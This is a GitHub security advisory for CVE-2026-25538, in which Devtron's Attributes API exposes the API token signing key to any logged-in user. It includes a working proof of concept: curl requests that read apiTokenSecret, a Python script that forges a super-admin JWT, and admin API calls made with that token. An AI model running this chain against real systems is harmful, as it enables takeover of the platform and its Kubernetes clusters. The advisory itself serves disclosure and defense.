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Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage

High severity GitHub Reviewed Published Feb 4, 2026 in devtron-labs/devtron • Updated Feb 5, 2026

Package

gomod github.com/devtron-labs/devtron (Go)

Affected versions

<= 2.0.0

Patched versions

None

Description

Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage

Summary

This vulnerability exists in Devtron's Attributes API interface, allowing any authenticated user (including low-privileged CI/CD Developers) to obtain the global API Token signing key by accessing the /orchestrator/attributes?key=apiTokenSecret endpoint. After obtaining the key, attackers can forge JWT tokens for arbitrary user identities offline, thereby gaining complete control over the Devtron platform and laterally moving to the underlying Kubernetes cluster.

CWE Classification: CWE-862 (Missing Authorization)

Details

Vulnerability Mechanism

Devtron uses a JWT-based API Token mechanism for authentication. All API Tokens are signed using HMAC-SHA256 with the apiTokenSecret stored in the database. This key is exposed through the Attributes API, but the authorization check code for this API has been commented out, allowing any authenticated user to read it.

Source Code Analysis

Vulnerability Location: api/restHandler/AttributesRestHandlder.go:173-195

func (handler AttributesRestHandlerImpl) GetAttributesByKey(w http.ResponseWriter, r *http.Request) {
    // Only checks if user is logged in
    userId, err := handler.userService.GetLoggedInUser(r)
    if userId == 0 || err != nil {
        common.HandleUnauthorized(w, r)
        return
    }

    // CRITICAL: RBAC check is commented out
    /*token := r.Header.Get("token")
    if ok := handler.enforcer.Enforce(token, rbac.ResourceGlobal, rbac.ActionGet, "*"); !ok {
        WriteJsonResp(w, errors.New("unauthorized"), nil, http.StatusForbidden)
        return
    }*/

    // Directly retrieves any attribute without authorization
    vars := mux.Vars(r)
    key := vars["key"]
    res, err := handler.attributesService.GetByKey(key)
    if err != nil {
        handler.logger.Errorw("service err, GetAttributesById", "err", err)
        common.WriteJsonResp(w, err, nil, http.StatusInternalServerError)
        return
    }
    common.WriteJsonResp(w, nil, res, http.StatusOK)
}

Key Usage: pkg/apiToken/ApiTokenSecretService.go:54-88

func (impl ApiTokenSecretServiceImpl) GetApiTokenSecretByteArr() ([]byte, error) {
    if len(impl.apiTokenSecretStore.Secret) == 0 {
        return nil, errors.New("secret found empty")
    }
    return []byte(impl.apiTokenSecretStore.Secret), nil
}

func (impl ApiTokenSecretServiceImpl) getApiSecretFromDb() (string, error) {
    apiTokenSecret, err := impl.attributesService.GetByKey(bean.API_SECRET_KEY)
    if err != nil {
        return "", err
    }
    if apiTokenSecret == nil || len(apiTokenSecret.Value) == 0 {
        return "", errors.New("api token secret from DB found nil/empty")
    }
    return apiTokenSecret.Value, nil
}

This key is used to sign and verify all Devtron API Tokens and is the core credential of the control plane.

PoC (Proof of Concept)

Environment Setup

Prerequisites

  • Kubernetes cluster (v1.22+)
  • kubectl configured
  • Helm 3.x
  • Python 3.x with PyJWT library

Step 1: Install Devtron

# Add Devtron Helm repository
helm repo add devtron https://helm.devtron.ai
helm repo update devtron

# Install Devtron with CI/CD module
helm install devtron devtron/devtron-operator \
  --create-namespace --namespace devtroncd \
  --set components.devtron.service.type=NodePort \
  --set installer.modules={cicd} \
  --set installer.arch=multi-arch

# Wait for installation to complete (15-20 minutes)
kubectl -n devtroncd get installers installer-devtron -o jsonpath='{.status.sync.status}'
# Expected output: Applied

Step 2: Access Devtron Dashboard

# Set up port forwarding
kubectl -n devtroncd port-forward service/devtron-service 8000:80 &

# Get admin password
ADMIN_PASSWORD=$(kubectl -n devtroncd get secret devtron-secret \
  -o jsonpath='{.data.ADMIN_PASSWORD}' | base64 -d)
echo "Admin password: ${ADMIN_PASSWORD}"

Access http://127.0.0.1:8000 and login with admin account.

Exploitation Steps

Step 1: Obtain User Token

Login as a regular user and obtain token:

# Login as regular user
curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq .

# Extract token
USER_TOKEN=$(curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq -r '.result.token')

echo "User token: ${USER_TOKEN:0:50}..."

Actual Output Example:

{
  "code": 200,
  "status": "OK",
  "result": {
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "userId": 1,
    "userEmail": "admin"
  }
}

Step 2: Exploit Vulnerability to Retrieve apiTokenSecret

Use the obtained token to access the unauthorized Attributes API:

# Request apiTokenSecret
curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
  -H "token: ${USER_TOKEN}" | jq .

# Extract secret
API_SECRET=$(curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
  -H "token: ${USER_TOKEN}" | jq -r '.result.value')

echo "Leaked API Token Secret: ${API_SECRET:0:20}..."
echo "Secret length: ${#API_SECRET} characters"

Actual Output Example:

{
  "code": 200,
  "status": "OK",
  "result": {
    "id": 1,
    "key": "apiTokenSecret",
    "value": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
    "active": true,
    "createdOn": "2024-01-15T10:30:00Z",
    "createdBy": 1
  }
}

Step 3: Forge Admin JWT Token

Forge admin token using the leaked key:

# Install PyJWT if not already installed
pip3 install PyJWT

# Create token forging script
cat > forge_token.py << 'EOF'
#!/usr/bin/env python3
import jwt
import time
import sys
import json

def forge_admin_token(secret, user_id=1, email="admin"):
    exp_time = int(time.time()) + 365 * 24 * 60 * 60

    payload = {
        "sub": str(user_id),
        "email": email,
        "iat": int(time.time()),
        "exp": exp_time,
        "iss": "devtron",
        "roles": ["role:super-admin___"]
    }

    token = jwt.encode(payload, secret, algorithm="HS256")
    return token

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python forge_token.py <apiTokenSecret>")
        sys.exit(1)

    secret = sys.argv[1]
    admin_token = forge_admin_token(secret, user_id=1, email="admin")
    print(f"[+] Forged Admin Token:")
    print(admin_token)
    print()

    decoded = jwt.decode(admin_token, secret, algorithms=["HS256"])
    print(f"[+] Token Payload:")
    print(json.dumps(decoded, indent=2))
EOF

chmod +x forge_token.py

# Forge admin token
python3 forge_token.py "${API_SECRET}"

Actual Output Example:

[+] Forged Admin Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZW1haWwiOiJhZG1pbiIsImlhdCI6MTcwNTMxNDAwMCwiZXhwIjoxNzM2ODUwMDAwLCJpc3MiOiJkZXZ0cm9uIiwicm9sZXMiOlsicm9sZTpzdXBlci1hZG1pbl9fXyJdfQ.xYz123AbC456DeF789GhI012JkL345MnO678PqR901StU

[+] Token Payload:
{
  "sub": "1",
  "email": "admin",
  "iat": 1705314000,
  "exp": 1736850000,
  "iss": "devtron",
  "roles": [
    "role:super-admin___"
  ]
}

Step 4: Test Forged Token with Admin APIs

Use the forged token to access admin APIs:

# Extract forged token
FORGED_TOKEN=$(python3 forge_token.py "${API_SECRET}" | grep -A 1 "Forged Admin Token:" | tail -1)

# Test 1: Get all users (requires admin permission)
echo "[*] Test 1: Getting user list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/user/all" \
  -H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, email_id, roles}'

# Test 2: Get cluster list (requires admin permission)
echo "[*] Test 2: Getting cluster list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/cluster" \
  -H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, cluster_name, server_url}'

# Test 3: Get all applications
echo "[*] Test 3: Getting application list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/app/list" \
  -H "token: ${FORGED_TOKEN}" | jq '.result'

Actual Output Example:

[*] Test 1: Getting user list...
{
  "id": 1,
  "email_id": "admin",
  "roles": ["role:super-admin___"]
}
{
  "id": 2,
  "email_id": "[email protected]",
  "roles": ["role:developer"]
}

[*] Test 2: Getting cluster list...
{
  "id": 1,
  "cluster_name": "default_cluster",
  "server_url": "https://kubernetes.default.svc"
}

[*] Test 3: Getting application list...
{
  "appContainers": [
    {
      "appId": 1,
      "appName": "sample-app",
      "projectId": 1
    }
  ]
}

Expected Result

If the vulnerability exists, it should be able to:

  1. Successfully obtain apiTokenSecret using any authenticated user's token
  2. Successfully forge JWT tokens using the leaked key
  3. Successfully access admin-only APIs using the forged token
  4. Retrieve sensitive information such as user lists, cluster configurations, etc.

Impact

Security Impact

Confidentiality: Severe impact. Attackers can:

  • Obtain the global API Token signing key
  • Read all user information and permission configurations
  • Access Kubernetes cluster configurations and credentials
  • Read sensitive application configurations and Secrets

Integrity: Severe impact. Attackers can:

  • Forge API Tokens for arbitrary user identities
  • Modify application configurations and deployments
  • Create or delete CI/CD pipelines
  • Modify user permissions and roles

Availability: High impact. Attackers can:

  • Delete critical applications and configurations
  • Disrupt CI/CD processes
  • Modify cluster configurations causing service interruptions

Business Impact

  1. Complete Control of Devtron Platform: Attackers gain privileges equivalent to super administrators
  2. Lateral Movement to Kubernetes Cluster: Cluster credentials obtained through Devtron can directly control the underlying Kubernetes
  3. Supply Chain Attacks: Can modify CI/CD pipelines to inject malicious code
  4. Data Breach: Can access all application configurations and Secrets
  5. Cloud Environment Penetration: In cloud environments, can further obtain IAM credentials

Attack Scenarios

Scenario 1: Insider Threat

  • Low-privileged developer exploits this vulnerability to escalate privileges
  • Gains full access to production environment
  • Steals sensitive data or plants backdoors

Scenario 2: Supply Chain Attack

  • Attacker obtains low-privileged account through social engineering
  • Exploits vulnerability to gain admin privileges
  • Modifies CI/CD pipelines to inject malicious code
  • Affects all applications using the pipeline

Scenario 3: Lateral Movement

  • Attacker has already compromised a low-privileged account
  • Exploits this vulnerability to gain Kubernetes cluster access
  • Deploys cryptocurrency miners or other malicious payloads in the cluster

Severity

CVSS v3.1 Score: 9.8 (Critical)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Score Breakdown:

  • Attack Vector (AV:N): Network accessible, exploited via HTTP API
  • Attack Complexity (AC:L): Low complexity, requires only one HTTP request
  • Privileges Required (PR:L): Requires low privileges (any authenticated user)
  • User Interaction (UI:N): No user interaction required
  • Scope (S:C): Scope changed, can affect resources beyond Devtron (Kubernetes cluster)
  • Confidentiality (C:H): High impact, can read all sensitive information
  • Integrity (I:H): High impact, can modify all configurations and data
  • Availability (A:H): High impact, can delete resources and disrupt services

Severity Level: Critical

Affected Versions

  • Devtron: All versions (as of 2026-01-26 verification)
  • Specifically affected code files:
    • api/restHandler/AttributesRestHandlder.go
    • pkg/apiToken/ApiTokenSecretService.go

Workarounds

Before an official patch is released, the following temporary measures can be taken:

Option 1: Network-Level Restrictions

# Use NetworkPolicy to restrict access to Devtron API
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: devtron-api-restriction
  namespace: devtroncd
spec:
  podSelector:
    matchLabels:
      app: devtron
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          role: admin
    ports:
    - protocol: TCP
      port: 8080
EOF

Option 2: Rotate API Token Secret

# Generate new secret
NEW_SECRET=$(openssl rand -hex 32)

# Update in database
kubectl exec -n devtroncd postgresql-postgresql-0 -- \
  psql -U postgres -d orchestrator -c \
  "UPDATE attributes SET value='${NEW_SECRET}' WHERE key='apiTokenSecret';"

# Restart Devtron service
kubectl rollout restart deployment/devtron -n devtroncd

Option 3: Add API Gateway Filtering

Deploy an API Gateway in front of Devtron to filter sensitive requests to /orchestrator/attributes.

Credits

@b0b0haha ([email protected])
@lixingquzhi([email protected])

References

@vikramdevtron vikramdevtron published to devtron-labs/devtron Feb 4, 2026
Published to the GitHub Advisory Database Feb 4, 2026
Reviewed Feb 4, 2026
Published by the National Vulnerability Database Feb 4, 2026
Last updated Feb 5, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-25538

GHSA ID

GHSA-8wpc-j9q9-j5m2

Source code

Credits

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